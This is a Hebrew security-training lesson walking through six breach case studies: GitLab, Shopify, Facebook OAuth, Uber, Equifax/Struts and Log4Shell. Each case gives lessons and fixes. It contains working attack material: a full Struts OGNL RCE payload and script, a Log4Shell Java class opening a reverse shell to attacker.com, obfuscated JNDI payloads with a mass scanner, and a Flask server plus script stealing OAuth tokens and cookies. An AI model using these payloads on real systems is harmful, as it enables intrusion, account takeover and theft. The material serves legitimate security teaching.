לדלג לתוכן

ניתוח אירועים אמיתיים - Real-World Case Studies

מבוא

למידה מאירועים אמיתיים היא אחת הדרכים האפקטיביות ביותר לשיפור יכולות מחקר אבטחה. בשיעור זה ננתח שישה מקרים מפורסמים - מדוחות Bug Bounty ועד פריצות מסיביות.


מקרה 1 - השתלטות על חשבונות GitLab

רקע

חוקר אבטחה מצא שרשרת חולשות ב-GitLab שאפשרה השתלטות על כל חשבון בפלטפורמה.

הפירוט הטכני

חולשה א - Password Reset Token Leak

כשמשתמש ביקש איפוס סיסמה, ה-token נשלח לא רק במייל אלא גם הוחזר בכותרות התגובה:

POST /users/password HTTP/1.1
Host: gitlab.com
Content-Type: application/json

{
  "user": {"email": "victim@example.com"}
}

HTTP/1.1 200 OK
X-Request-Id: abc123
Set-Cookie: _gitlab_session=xyz...
...reset_password_token=LEAKED_TOKEN...

חולשה ב - CORS Misconfiguration

ב-GitLab היתה הגדרת CORS שאפשרה קריאה של כותרות תגובה ממקור חיצוני:

GET /api/v4/user HTTP/1.1
Host: gitlab.com
Origin: https://evil.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Request-Id, ...

שרשרת הניצול

1. תוקף מפעיל בקשת password reset עבור הקורבן דרך CORS
2. ה-token חוזר בכותרות התגובה
3. CORS misconfiguration מאפשר לקרוא את הכותרות
4. התוקף משתמש ב-token לאיפוס הסיסמה
5. התוקף מתחבר לחשבון הקורבן
// PoC - דף התוקף
async function exploitGitlab(victimEmail) {
  // שלב 1: בקשת איפוס סיסמה
  const resetResponse = await fetch('https://gitlab.com/users/password', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({user: {email: victimEmail}})
  });

  // שלב 2: חילוץ הטוקן מהכותרות
  const headers = Object.fromEntries(resetResponse.headers.entries());
  const resetToken = extractToken(headers);

  // שלב 3: שינוי הסיסמה עם הטוקן
  await fetch('https://gitlab.com/users/password', {
    method: 'PUT',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      user: {
        reset_password_token: resetToken,
        password: 'attacker_password',
        password_confirmation: 'attacker_password'
      }
    })
  });

  console.log('[+] Account takeover complete');
}

לקחים

  • אף פעם לא לחשוף tokens בכותרות HTTP
  • הגדרות CORS צריכות להיות מוגבלות למקורות ספציפיים
  • ה-token לאיפוס סיסמה צריך להישלח רק במייל
  • שרשרת של שתי חולשות "בינוניות" הפכה ל-Critical

תיקון

GitLab הסירה את ה-token מכותרות התגובה והחמירה את מדיניות ה-CORS.


מקרה 2 - RCE ב-Shopify דרך SSRF

רקע

חוקר אבטחה גילה SSRF ב-Shopify שאפשרה גישה ל-metadata של Google Cloud ובסופו של דבר RCE.

הפירוט הטכני

חולשה א - SSRF בפיצ'ר ייבוא מוצרים

Shopify אפשרה לסוחרים לייבא מוצרים מ-URL חיצוני. הפיצ'ר לא סינן כראוי כתובות פנימיות:

POST /admin/api/products/import HTTP/1.1
Host: mystore.myshopify.com
Content-Type: application/json

{
  "source_url": "http://metadata.google.internal/computeMetadata/v1/"
}

חולשה ב - גישה ל-GCP Metadata

בשונה מ-AWS, שירות ה-metadata של Google Cloud דרש כותרת מיוחדת. אבל הגרסה הישנה של ה-API (v1beta1) לא דרשה את הכותרת:

# גרסה חדשה - דורשת כותרת
GET /computeMetadata/v1/instance/service-accounts/default/token
Host: metadata.google.internal
Metadata-Flavor: Google

# גרסה ישנה - ללא כותרת
GET /computeMetadata/v1beta1/instance/service-accounts/default/token
Host: metadata.google.internal

חולשה ג - הרשאות רחבות ל-Service Account

ה-Service Account שרץ על המופע היה בעל הרשאות רחבות מדי:

{
  "access_token": "ya29.XXXXXXXXXXXXXXX",
  "expires_in": 3599,
  "token_type": "Bearer"
}

שרשרת הניצול

import requests

# שלב 1: SSRF לגישה ל-metadata
ssrf_url = "http://metadata.google.internal/computeMetadata/v1beta1/"
endpoints = [
    "instance/service-accounts/default/token",
    "instance/service-accounts/default/scopes",
    "project/project-id",
    "instance/zone"
]

for endpoint in endpoints:
    response = requests.post(
        'https://mystore.myshopify.com/admin/api/products/import',
        json={'source_url': f'{ssrf_url}{endpoint}'},
        headers={'Authorization': 'Bearer SHOP_TOKEN'}
    )
    print(f"[*] {endpoint}: {response.text}")

# שלב 2: שימוש בטוקן שנגנב
gcp_token = "ya29.XXXXXXXXXXXXXXX"

# שלב 3: בדיקת הרשאות
scopes = requests.get(
    f'{ssrf_url}instance/service-accounts/default/scopes'
)
# תוצאה: ['https://www.googleapis.com/auth/cloud-platform']
# הרשאה מלאה!

# שלב 4: גישה ל-Kubernetes cluster
k8s_response = requests.get(
    'https://container.googleapis.com/v1/projects/shopify-prod/zones/us-east1-b/clusters',
    headers={'Authorization': f'Bearer {gcp_token}'}
)
print(f"[+] Clusters: {k8s_response.json()}")

לקחים

  • SSRF בסביבות ענן הוא קריטי ביותר - גישה ל-metadata שווה credentials
  • שימוש ב-IMDSv2 (AWS) או דרישת כותרות (GCP) הכרחי
  • Service Accounts צריכים הרשאות מינימליות (Least Privilege)
  • פיצ'רים שמקבלים URL מהמשתמש חייבים סינון קפדני

תיקון

Shopify הוסיפה סינון של כתובות פנימיות, חסמה גישה ל-metadata endpoint, וצמצמה את הרשאות ה-Service Account.


מקרה 3 - חולשת OAuth בפייסבוק

רקע

חוקר אבטחה מצא פגם ביישום ה-OAuth של פייסבוק שאפשר גניבת access tokens של כל משתמש.

הפירוט הטכני

הפגם ביישום

פייסבוק אפשרה לאפליקציות צד שלישי להשתמש ב-OAuth לקבלת גישה. הבעיה היתה בוולידציה של redirect_uri:

URI רשום: https://app.example.com/callback
URI שהתקבל: https://app.example.com/callback/../redirect?url=https://evil.com

הפלטפורמה ביצעה path normalization אחרי הבדיקה, מה שאפשר עקיפה.

זרימת התקיפה

# שלב 1: הכנת הקישור
https://www.facebook.com/dialog/oauth?
  client_id=APP_ID&
  redirect_uri=https://app.example.com/callback/../redirect?url=https://evil.com&
  response_type=token&
  scope=email,public_profile

# שלב 2: פייסבוק מוודאת - ה-redirect_uri מתחיל עם ה-URI הרשום
# הבדיקה עוברת כי הנתיב מתחיל עם /callback

# שלב 3: אחרי path normalization, ההפניה מגיעה ל:
https://app.example.com/redirect?url=https://evil.com#access_token=USER_TOKEN

# שלב 4: ה-redirect של האפליקציה מפנה ל:
https://evil.com#access_token=USER_TOKEN

שרת הגניבה

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/steal')
def steal_token():
    # הטוקן מגיע ב-fragment (#)
    # צריך JavaScript לחלץ אותו
    return '''
    <script>
    if (window.location.hash) {
        var token = window.location.hash.substring(1);
        var params = new URLSearchParams(token);
        var accessToken = params.get('access_token');

        // שליחה לשרת
        fetch('/collect?token=' + accessToken);

        // שימוש מיידי בטוקן
        fetch('https://graph.facebook.com/me?access_token=' + accessToken)
          .then(r => r.json())
          .then(data => {
            fetch('/collect', {
              method: 'POST',
              body: JSON.stringify({token: accessToken, user: data})
            });
          });
    }
    </script>
    '''

@app.route('/collect', methods=['GET', 'POST'])
def collect():
    if request.method == 'GET':
        token = request.args.get('token')
    else:
        data = request.get_json()
        token = data.get('token')

    print(f"[+] Token: {token}")

    # פעולות עם הטוקן
    me = requests.get(f'https://graph.facebook.com/me?'
                      f'fields=id,name,email&access_token={token}')
    print(f"[+] User: {me.json()}")

    return "OK"

app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

לקחים

  • וולידציה של redirect_uri חייבת להיות מדויקת - exact match
  • אסור לבצע path normalization אחרי הבדיקה
  • יש לבדוק גם path traversal (../) ב-URI
  • תהליך Responsible Disclosure עם פייסבוק היה מקצועי - תגובה מהירה ותיקון

תיקון

פייסבוק שינתה את הוולידציה ל-exact match של ה-redirect_uri המלא, כולל path normalization לפני הבדיקה.


מקרה 4 - השתלטות על Subdomain של Uber

רקע

חוקר אבטחה גילה שרשומות DNS של Uber הצביעו על שירותים שכבר לא היו בשימוש, מה שאפשר השתלטות על תת-דומיינים.

הפירוט הטכני

זיהוי רשומות DNS תלויות

# סריקת תת-דומיינים
subfinder -d uber.com | while read subdomain; do
  # בדיקת CNAME
  cname=$(dig +short CNAME "$subdomain")
  if [ -n "$cname" ]; then
    # בדיקה אם היעד קיים
    http_code=$(curl -s -o /dev/null -w "%{http_code}" "http://$subdomain" 2>/dev/null)
    if [ "$http_code" = "000" ] || echo "$http_code" | grep -q "404"; then
      echo "[!] פוטנציאלי: $subdomain -> $cname (HTTP: $http_code)"
    fi
  fi
done

מה שנמצא

saostatic.uber.com -> CNAME -> d36cwnhehwb40k.cloudfront.net

ההפצה ב-CloudFront כבר לא היתה בשימוש, אבל רשומת ה-DNS עדיין הצביעה עליה.

ניצול

1. תוקף יוצר הפצת CloudFront חדשה
2. מגדיר את saostatic.uber.com כ-Alternate Domain Name
3. CloudFront מקבל - הדומיין לא תפוס
4. תוקף מעלה תוכן לשרת שלו דרך ההפצה
5. כל מי שגולש ל-saostatic.uber.com רואה את תוכן התוקף

אימפקט

# דוגמה לניצול - גניבת cookies
# האתר saostatic.uber.com יכול לגשת ל-cookies של uber.com
# אם ה-cookies מוגדרים על .uber.com

# תוכן שהתוקף מעלה:
malicious_page = """
<html>
<script>
// גניבת cookies של uber.com
document.location = 'https://attacker.com/steal?' + document.cookie;
</script>
</html>
"""

# בנוסף, האתר יכול לשמש ל:
# - פישינג (נראה לגיטימי - uber.com)
# - הגשת malware
# - man-in-the-middle על תקשורת עם uber.com

כלי לבדיקת Subdomain Takeover

import dns.resolver
import requests
from concurrent.futures import ThreadPoolExecutor

# שירותים שניתנים להשתלטות
FINGERPRINTS = {
    'cloudfront.net': 'The request could not be satisfied',
    'herokuapp.com': 'No such app',
    'github.io': "There isn't a GitHub Pages site here",
    'shopify.com': 'Sorry, this shop is currently unavailable',
    's3.amazonaws.com': 'NoSuchBucket',
    'azurewebsites.net': 'Error 404 - Web app not found',
    'cloudapp.net': 'NXDOMAIN',
    'zendesk.com': 'Help Center Closed',
    'fastly.net': 'Fastly error: unknown domain',
}

def check_takeover(subdomain):
    try:
        # בדיקת CNAME
        answers = dns.resolver.resolve(subdomain, 'CNAME')
        for rdata in answers:
            cname = str(rdata.target).rstrip('.')

            for service, fingerprint in FINGERPRINTS.items():
                if service in cname:
                    try:
                        response = requests.get(
                            f'http://{subdomain}', timeout=5
                        )
                        if fingerprint in response.text:
                            return {
                                'subdomain': subdomain,
                                'cname': cname,
                                'service': service,
                                'vulnerable': True
                            }
                    except Exception:
                        pass
    except Exception:
        pass
    return None

# סריקה
subdomains = open('uber_subdomains.txt').read().splitlines()
with ThreadPoolExecutor(max_workers=20) as executor:
    results = list(executor.map(check_takeover, subdomains))
    vulnerable = [r for r in results if r and r['vulnerable']]

for v in vulnerable:
    print(f"[!] {v['subdomain']} -> {v['cname']} ({v['service']})")

לקחים

  • ניהול DNS חייב לכלול ניקוי רשומות שאינן בשימוש
  • בדיקות תקופתיות של subdomain takeover הן הכרחיות
  • השימוש בשירותי ענן דורש תשומת לב לרשומות DNS
  • השפעה על משתמשים: פישינג, גניבת cookies, והשפלת מותג

תיקון

Uber הסירה את רשומות ה-DNS התלויות ויישמה תהליך אוטומטי לזיהוי רשומות כאלה.


מקרה 5 - Apache Struts RCE ופריצת Equifax

רקע

ב-2017, חולשת RCE ב-Apache Struts (CVE-2017-5638) נוצלה לפריצת Equifax - אחת הפריצות הגדולות בהיסטוריה. מידע אישי של 147 מיליון אנשים נחשף.

הפירוט הטכני

חולשת OGNL Injection

Apache Struts השתמש בשפת OGNL (Object-Graph Navigation Language) לעיבוד ביטויים. כשה-Content-Type לא היה תקין, הודעת השגיאה עברה עיבוד כביטוי OGNL:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: target.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

ה-Payload בצורה מובנת

// פירוק ה-payload:

// 1. הגדרת גישה
#dm = @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
#_memberAccess = #dm

// 2. ניקוי רשימות חסימה
#ognlUtil.getExcludedPackageNames().clear()
#ognlUtil.getExcludedClasses().clear()

// 3. הגדרת הפקודה
#cmd = 'id'

// 4. זיהוי מערכת הפעלה
#iswin = @java.lang.System@getProperty('os.name').toLowerCase().contains('win')

// 5. בניית הפקודה
#cmds = #iswin ? {'cmd', '/c', #cmd} : {'/bin/bash', '-c', #cmd}

// 6. הרצה
#process = new java.lang.ProcessBuilder(#cmds).start()

// 7. החזרת הפלט
IOUtils.copy(#process.getInputStream(), response.getOutputStream())

סקריפט ניצול

import requests

def exploit_struts(target_url, command):
    payload = (
        "%{(#_='multipart/form-data')."
        "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
        "(#_memberAccess?(#_memberAccess=#dm):"
        "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
        "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
        "(#ognlUtil.getExcludedPackageNames().clear())."
        "(#ognlUtil.getExcludedClasses().clear())."
        "(#context.setMemberAccess(#dm))))."
        f"(#cmd='{command}')."
        "(#iswin=(@java.lang.System@getProperty('os.name')"
        ".toLowerCase().contains('win')))."
        "(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
        "(#p=new java.lang.ProcessBuilder(#cmds))."
        "(#p.redirectErrorStream(true))."
        "(#process=#p.start())."
        "(#ros=(@org.apache.struts2.ServletActionContext@getResponse()"
        ".getOutputStream()))."
        "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
        "(#ros.flush())}"
    )

    headers = {'Content-Type': payload}
    response = requests.get(target_url, headers=headers)
    return response.text

# שימוש
result = exploit_struts('https://target.com/struts2-showcase/', 'id')
print(result)

ציר הזמן של פריצת Equifax

מרץ 2017:     Apache מפרסמת תיקון ל-CVE-2017-5638
מרץ-מאי 2017: Equifax לא מעדכנת את השרתים
מאי 2017:     התוקפים מנצלים את החולשה
מאי-יולי 2017: התוקפים שואבים מידע על 147 מיליון אנשים
יולי 2017:     Equifax מגלה את הפריצה
ספטמבר 2017:  הפריצה מתפרסמת לציבור

לקחים

  • עדכוני אבטחה חייבים להיות מיושמים מיד
  • ניטור של CVE חדשים הוא קריטי
  • Defense in depth - שכבות הגנה מרובות
  • אפילו חולשה אחת לא מטופלת יכולה להוביל לאסון

מקרה 6 - Log4Shell - CVE-2021-44228

רקע

חולשת Log4Shell (CVE-2021-44228) ב-Apache Log4j היתה אחת החולשות ההרסניות ביותר שהתגלו אי פעם. ספריית הלוגינג הנפוצה של Java אפשרה RCE דרך הזרקת JNDI.

הפירוט הטכני

מנגנון ה-JNDI Injection

ספריית Log4j תמכה ב-lookup של משתנים בזמן כתיבת לוג. ביניהם - JNDI lookups:

// קוד פגיע - כל מקום שמבצע logging של קלט משתמש
logger.info("User logged in: " + username);
logger.error("Failed login for: " + request.getHeader("User-Agent"));

אם הקלט מכיל ביטוי JNDI:

${jndi:ldap://attacker.com/exploit}

Log4j מנסה לבצע lookup ל-LDAP server של התוקף.

וקטורי הזרקה

# דרך User-Agent
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/a}

# דרך שדה חיפוש
GET /search?q=${jndi:ldap://attacker.com/a} HTTP/1.1

# דרך שם משתמש
POST /login HTTP/1.1
Content-Type: application/json
{"username": "${jndi:ldap://attacker.com/a}", "password": "test"}

# דרך כותרות מותאמות
GET / HTTP/1.1
X-Forwarded-For: ${jndi:ldap://attacker.com/a}
Referer: ${jndi:ldap://attacker.com/a}
X-Api-Version: ${jndi:ldap://attacker.com/a}

שרשרת הניצול המלאה

1. תוקף שולח payload עם ${jndi:ldap://attacker.com/exploit}
2. Log4j מפענח את הביטוי ומבצע חיבור LDAP לשרת התוקף
3. שרת ה-LDAP מחזיר Reference לכיתת Java
4. היישום מוריד ומריץ את כיתת ה-Java הזדונית
5. RCE - הרצת קוד שרירותי על השרת

שרת LDAP זדוני

# שימוש ב-marshalsec
# java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com:8888/#Exploit"

# הכיתה הזדונית
# Exploit.java:
"""
public class Exploit {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c",
                "bash -i >& /dev/tcp/attacker.com/4444 0>&1"};
            Process proc = rt.exec(commands);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
"""

סקריפט סריקה

import requests
from concurrent.futures import ThreadPoolExecutor

CALLBACK = "attacker.burpcollaborator.net"

PAYLOADS = [
    "${jndi:ldap://CALLBACK/a}",
    "${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://CALLBACK/a}",
    "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://CALLBACK/a}",
    "${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//CALLBACK/a}",
    "${jndi:ldap://CALLBACK/a}",
    "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}mi://CALLBACK/a}",
]

INJECTION_POINTS = [
    'User-Agent',
    'X-Forwarded-For',
    'Referer',
    'X-Api-Version',
    'Accept-Language',
    'Authorization',
]

def scan_target(url):
    results = []
    for payload_template in PAYLOADS:
        payload = payload_template.replace('CALLBACK', CALLBACK)

        # הזרקה דרך כותרות
        for header in INJECTION_POINTS:
            try:
                response = requests.get(url, headers={header: payload}, timeout=5)
                results.append({
                    'url': url,
                    'header': header,
                    'payload': payload,
                    'status': response.status_code
                })
            except Exception:
                pass

        # הזרקה דרך פרמטרים
        try:
            requests.get(f"{url}?q={payload}", timeout=5)
        except Exception:
            pass

    return results

# סריקה של רשימת יעדים
targets = open('targets.txt').read().splitlines()
with ThreadPoolExecutor(max_workers=10) as executor:
    all_results = list(executor.map(scan_target, targets))

print("[*] בדקו את Burp Collaborator / DNS log לתוצאות")

האימפקט הגלובלי

שירותים שנפגעו:
- Apache Solr
- Apache Druid
- Apache Flink
- ElasticSearch
- VMware vCenter
- Minecraft servers
- iCloud
- Steam
- Twitter
- Amazon
- Cloudflare
- ועוד מאות אלפי שירותים

לקחים

  • תלות בספריות צד שלישי היא סיכון ענק
  • ניטור של CVE חדשים הוא קריטי - Log4Shell נוצל תוך שעות מהפרסום
  • Defense in depth: גם אם יש חולשה, הגבלת תקשורת יוצאת יכולה למנוע ניצול
  • עדכון ספריות צריך להיות תהליך מתמשך ואוטומטי
  • הנזק הגלובלי של חולשה בספרייה נפוצה הוא עצום

תיקון

Apache שחררה Log4j 2.17.0 שמשביתה JNDI lookups כברירת מחדל. בגרסאות ישנות יותר, ניתן היה להגדיר log4j2.formatMsgNoLookups=true כעדכון זמני.


סיכום - מה אפשר ללמוד מכל המקרים

מקרה              חולשה מרכזית        לקח עיקרי
============================================================
GitLab            Token Leak + CORS    אל תחשפו מידע רגיש בכותרות
Shopify           SSRF + Cloud Meta    סננו URLs פנימיים, צמצמו הרשאות
Facebook          OAuth Redirect       וולידציה מדויקת של redirect_uri
Uber              Dangling DNS         נקו רשומות DNS שלא בשימוש
Equifax/Struts    OGNL Injection       עדכנו אבטחה מיידית
Log4Shell         JNDI Injection       נהלו תלויות, הגבילו תקשורת יוצאת

עקרונות משותפים

  1. חולשות קטנות הופכות לגדולות כשמשרשרים אותן
  2. תשתית ענן מגדילה את שטח התקיפה
  3. עדכוני אבטחה הם קריטיים ודחופים
  4. הגנה בשכבות מפחיתה את האימפקט של חולשה בודדת
  5. חוקרים טובים מסתכלים על התמונה הגדולה - לא רק על חולשה אחת